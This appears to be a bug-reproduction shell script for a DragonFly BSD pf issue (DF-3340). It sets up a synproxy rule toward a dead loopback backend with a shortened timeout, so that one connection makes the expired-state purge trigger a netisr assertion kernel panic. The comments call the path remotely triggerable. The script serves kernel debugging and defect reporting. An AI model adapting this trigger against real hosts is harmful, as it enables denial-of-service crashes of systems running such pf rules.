#!/bin/sh
# DF-3340 trigger (run as root in the DragonFly guest).
#
# Remote-triggerable path: an unauthenticated peer completes the SYN-proxy
# handshake against a pf synproxy rule whose backend never answers SYNACK
# (here: 127.0.0.1:8080 with no listener). The pf state is then stuck in
# PF_TCPS_PROXY_DST. When it expires (tcp.first, shortened to 5s here;
# default is 120s), pf_purge_thread -> pf_purge_expired_states ->
# pf_unlink_state calls pf_send_tcp -> ip_output from the purge thread,
# which is NOT a netisr thread -> ASSERT_NETISR_NCPUS(mycpuid) panic
# (sys/netinet/ip_output.c:185, sys/net/netisr2.h:136-139), INVARIANTS.
#
# Expected: kernel panic "thread %p cpu%d is not within netisr_ncpus %d"
# roughly 5-7 seconds after the nc connect() fires.
set -x
date
kldload pf.ko 2>/dev/null || kldstat -n pf >/dev/null 2>&1 || true

cat > /tmp/df3340.conf <<EOF
set timeout tcp.first 5
pass in quick on lo0 inet proto tcp from 127.0.0.0/8 to 127.0.0.1 port 8080 flags S/SA synproxy state
EOF

pfctl -F all >/dev/null 2>&1 || true
pfctl -f /tmp/df3340.conf || exit 1
pfctl -e 2>/dev/null || true

# one TCP connect: SYN (state created, PROXY_SRC) + ACK (handshake with the
# synproxy completes -> PROXY_DST). Backend never answers -> state sticks.
nc 127.0.0.1 8080 </dev/null &
sleep 2
echo "--- states at t+2s (expect SYN_PROXY / PROXY:DST):"
pfctl -s state
sleep 12
echo "--- SURVIVED t+14s, no panic (unexpected on INVARIANTS kernel):"
pfctl -s state
date
